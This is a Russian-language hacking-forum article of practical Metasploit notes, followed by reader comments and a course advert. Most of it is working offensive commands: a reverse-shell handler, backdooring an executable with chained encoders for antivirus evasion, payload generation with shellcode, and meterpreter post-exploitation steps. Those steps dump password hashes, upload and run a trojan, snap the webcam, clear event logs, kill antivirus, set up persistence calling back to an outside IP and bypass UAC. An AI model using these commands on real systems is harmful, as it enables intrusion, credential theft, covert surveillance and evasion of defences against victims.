• 15 апреля стартует «Курс «SQL-injection Master» ©» от команды The Codeby

    За 3 месяца вы пройдете путь от начальных навыков работы с SQL-запросами к базам данных до продвинутых техник. Научитесь находить уязвимости связанные с базами данных, и внедрять произвольный SQL-код в уязвимые приложения.

    На последнюю неделю приходится экзамен, где нужно будет показать свои навыки, взломав ряд уязвимых учебных сайтов, и добыть флаги. Успешно сдавшие экзамен получат сертификат.

    Запись на курс до 25 апреля. Получить промодоступ ...

Статья Metasploit - несколько заметок

Моя Статья Форк с Ачата, но так как часто к ней обращаюсь, хочу сюда форкнуть antichat.ru
Всем привет. Пришлось позаморачиваться с метасплоитом и решил сделать несколько заметочек.
Я не буду в миллионный раз повторять, то, что уже написано на форуме о метасплоите.
Что это почитать можно и ещё огромная куча тем.
В данной статье я пользовался поиском и старался писать о том о чем еще не написано здесь.
Далее ссылочки из трёх книженций откуда впринципе и взята эта информация



Для кого статья?
В первую очередь для меня. =)
А так же всем тем, кто уже знаком с фреймворком, хотя гуру врядли для себя что - то найдут.

Поехали. Метасплоит это в первую очередь фабрика сплоитов, средство которое позволяет создавать и использовать свои сплоиты (запуск уже готовых это меньшее, что он может). Поэтому всё что есть в нём можно использовать и без него. Для примера вот отличная Buffer over Flow (позже напишем и об этом что - нибудь).

msfcli - довольно удобная штука, когда одно действие приходится запускать часто (у меня это запуск листенера)
Традиционный способ
Код:
msfconsole или msfconsole '-x use exploit/multy/handler'
use exploit/multy/handler
SET LHOST наш хост
SET LPORT наш порт, который слушаем.
SET PAYLOAD windows/meterpreter/reverse_tcp (пэйлоадах чуть ниже)
exploit
Тоже самое
Код:
- msfcli exploit/multi/handler LHOST=host LPORT=1337 PAYLOAD=windows/meterpreter/reverse_tcp E

Какие есть флаги у этой штуки например (O показать опции, E exploit) предлагаю самим разобраться.
Едем дальше
SETG - очень удобная команда когда мы хотим раз и навсегда (на всё время работы с метасплоитом) установить какие то значения LHOST, LPORT, PAYLOAD, ENCODER и т.п.
Код:
msf> setg LHOST 192.168.1.0
msf> save

При генерации сплоита все знают о set payload, но мало кто вспоминает о set encoder - это по сути небольшой крипт для сплоита (не панацея от антивирусов, здесь уже могущество других
фреймворков), но в некоторых случаях помочь может хотя бы от тех кто захочет полезть в Ваш билд или слушать сокет.

-> show encoders - Список активных енкодеров

В основном их названия говорят за себя
Код:
 cmd/generic_sh
generic/none The "none" Encoder
mipsbe/longxor XOR Encoder
................................
x86/unicode_mixed Alpha2 Alphanumeric Unicode Mixedcase Encoder
x86/unicode_upper Alpha2 Alphanumeric Unicode Uppercase Encoder

Можно комбинировать енкодеры командой +
Код:
msfencode -t exe -x sol.exe -k -o sol_bdoor.exe -e x86/shikata_ga_nai + mipsbe/longxor -c 3
где, c - количество итераций.

-> show auxiliary Здесь есть практический всё, и smb_scan, и portscan, и pivoting. Эта категория содержит в себе не совсем сплоиты а скорее вспомогательные модули, для разведки, фазинга, брутфорса и т.п.
Однако значительную долю умеет тот же nmap и другие более легковестные вещи. Поэтому я не увидел применения например auxiliary(posrtscan) когда есть старый добрый db_nmap со всеми возможностями, плюс добавления в базу метасплоита, но есть и интересные вещи например "admin/cisco/ios_http_auth_bypass". Заострять внимание на этом не будем. Очень советую вспоминать об этом;

-> show payloads - Вывод всех полезных нагрузок.
Конечно большинство из нас привыкло к старому доброму метрпретеру и это оправдано. Шел с огромной кучей возможностей, достаточно удобный и лаконичный, но иногда нужно что то более
легковесное или под другую архитектуру.

Виды payloads.
Single
- одиночное выполнение любой команды (например на языке C# Process.Start("calc.exe") - вызов калькулятора).
Stagers (windows/shell_bind_tcp) - Во первых этот тип пэйлоадов более легковесный, соответственно более надежный (держать включенной сессию ncat куда проще чем сессию метерпретер), меньший риск потери соединения.
Stages - Наиболее тяжелые нагрузки, здесь же наш могучий метрпретер, суть этого вида нагрузок, что он загружается не сразу весь а поэтапно, имеет как правило обширный функционал(meterpreter). К недостаткам можно отнести большой объем занимаемой оперативной памяти.

Генерация payload (полезно, когда надо использовать в своем коде)
Код:
 msf > use payload/windows/shell/bind_tcp
.............Устанавливаем параметры........................
msf payload(bind_tcp) > generate
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" +
"\x30\x8b\x..............\x01\xc3\x29\xc6\x85" + "\xf6\x75\xec\xc3"
Далее эту строку можно впиливать в любую программку или просто кидать в сокет.
Далее поговорим о метерпретере (хотя это всё это можно проделать и не только в нём);
Мы получили доступ к системе, всё очень здорово, и какие дальнейшие шаги можно предпринять?

hashdump - Старый добрый файл SAM
migrate - Первое с чего лично я начинаю (а точнее уже автоматизировал сей процесс) - это миграция. Процесс теперь не висит сам по себе, а выглядит как отдельный поток, прилепившейся к другому процессу. И может стать не убиваемым.
shell - Переход в командный режим
upload evil_trojan.exe c:\\windows\\system32 - Как Вы догодались отправка файлать мигра
execute -f evil_trojan.exe -i -H - а затем его выполнение
webcam_snap -i 1 -v false - Сфоткаемся на вебку. где i- время ожидания в секундах
clearev - Очистить журнал
use sniffer - снииффер трафика.
sniffer_start 1 - запуск сниффера с активной сетевой карты
sniffer_dump - снять полученные пакеты
route add 10.211.55.0 255.255.255.0 1 - Добавить маршрут, полезно для того чтобы бегать от сети к сети
run checkvm - А вот как раз узнать находимся ли мы на виртуалке.
run getcountermeasure - проверка на защищенность системы, может даже что и удастся отрубить(фаерволл, антивирь).
run killav - убийца антивирусов.
run getgui - Включает (а точнее пытается) включить rdp'шечку
run gettelnet - без комментариев
run get_local_subnets - получить имя подсети
run hostsedit -e 10.211.55.162, , известный факт, что первое куда смотрит компьютер, чтобы получить ip доменного имени - это файл hosts, и только если там нет обращается к серверу. Что с этим делать вариантов много.
run remotewinenum - Сборщик информации О СИСТЕМЕ
run scraper - ЕЩЁ БОЛЬШЕ ИНФОРМАЦИИ О СИСТЕМЕ
run metsvc - примитивный бэкдор, постоянно отваливается, а за NAT'ом вообще не работает.
run persistence -U -i 5 -p 1342 -r 62.102.1.1 - вот это штука заставляет жертву подключаться к вам каждые 5 секунд.
portfwd add -l 80 -p 80 -r 192.168.0.101 - Проброс нужных нам портов с другого хоста подсети.

И это не всё. Список всех пост модулей можно глянуть командой show posts

Как же нам сгенерировать свою полезную нагрузку?
Код:
msfvenom -a x86 --platform Windows -p windows/shell/bind_tcp -e x86/shikata_ga_nai -b '\x00' -i 3 -f exe
где -e тип енкодера, а i - кол-во итераций, но имейте ввиду что stagers нагрузки менее заметны для антивирусов, чем satges.

Автоматическая подгрузка сценариев:
Итак, допустим, мы хотим, чтобы при получении сессии сразу выполнялось повышение привелегий на атакуемой Windows машине через
известный сплоит bypass_uac
Без лишних слов, просто как это сделать:
Код:
use <name exploit>
set LHOST <inner_ip>
..................
set PAYLOAD <pyaload_meterpreter>
set AUTORUNSCRIPT exploit/windows/local/bypassuac
Вот как раз последняя строчка и отвечает за то что подгрузить при успешной создании сессии.
Альтернативная переменная InitialAutoRunScript, которой просто нужно дать команду для пост эксплуатации.
Пример: set InitialAutoRunScript 'migrate -f'

Свои сценарии
Пришло время автоматизировать процесс и написать свой сценарий для метрпретера.
Существует возможность загнать в файл уже заранее известный алгоритм команд метасплоита и выполнить его
с помощью rc скриптов. Причем такие скрипты могут включать в себя как код на руби (свои какие то действия), так и возможности
метаплоита.
Попробуем создать файл scanner.rc (так как я не спецаилист руби, то пример взят отсюда )
Выглядит скрипт руби так

Код:
#calling ruby
< ruby >
run_single("db_nmap -sU -sS -Pn -n --script=smb-check-vulns.nse,samba-vuln-cve-2012-1182 --script-args=unsafe=1 -p U:135,T:139,445 #{framework.datastore['RHOSTS']}")
run_single("db_nmap -sS -Pn -n --script=ftp-vuln-cve2010-4221.nse -p 21 #{framework.datastore['RHOSTS']}")
run_single("services #{framework.datastore['RHOSTS']}")
run_single("vulns #{framework.datastore['RHOSTS']}")
< / ruby >
И вызываем его в консоли метасплоита командой resource scanner.rc

Другой листинг
Код:
#chaining common scanners
use auxiliary/scanner/snmp/snmp_enum
run
use auxiliary/scanner/snmp/snmp_login
run
use auxiliary/scanner/snmp/snmp_enumusers
run
use auxiliary/scanner/snmp/snmp_enumshares
run
use auxiliary/scanner/nfs/nfsmount
run
use auxiliary/scanner/vnc/vnc_none_auth
run
Аналогично предыдущему, но уже предопределенные настройки метасплоита необходимо установить командой setg.


База данных метасплоита
После создания подключения к базе данных первое что мы можем сделать проверить статус командой db_status.
Рассмотрим основные действия в базе:
workspace - отдельное хранилище. Именно воркспейсы хранят в себя отдельные результаты сканирования сети или подсети.
workspace lab1 - переключает текущее рабочее пространство на lab1;
workspace -a laba1 - создание рабочей области (сохраняет все результаты сканирования сохранены здесь)
db_nmap добавить в базу хост с помощью сканера nmap (об этом можно почитать здесь)
hosts - Выводить информацию о хостах в различном виде;
services - Выводить информацию о сервисах в различном виде;
loot - сохранение дампа хэш-файла операционной системы

Всем спасибо! Недочеты и аргументированная критика есть гуд.
 
U

Unrulyguy

Привет, TC. Выложи хоть пример одной атаки повышения привилегий через Metaspoloit
 
Последнее редактирование модератором:

Dr.Lafa

Green Team
30.12.2016
507
1 049
BIT
0
А можно ли использовать кастомный пейлоад? Допустим, сгенерированный в Empire.
 

Ondrik8

prodigy
Green Team
08.11.2016
1 129
3 187
BIT
0
блин не помню как но я как то включал функцию звуковое оповещение в двух словах он со мной разговаривал)
 

InetTester

Green Team
21.10.2018
308
43
BIT
0
Статья хорошая, довольно жирный минус metasploit что в нем отсутствует огромное количество сплойтов.... по крайней мере в бесплатной версии.
 

miha555

Green Team
15.11.2019
46
1
BIT
0
Привет! при таком сценарии
msfconsole или msfconsole '-x use exploit/multy/handler'
use exploit/multy/handler
SET LHOST наш хост
SET LPORT наш порт, который слушаем.
SET PAYLOAD windows/meterpreter/reverse_tcp (пэйлоадах чуть ниже)
exploit
я так понимаю получаем backdoor к машине в локальной сети ...
как получить доступ к удаленной машине ..
в SET LHOST наш хост пытался указать публичный ip, не работает. подскажите пожалуйста
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!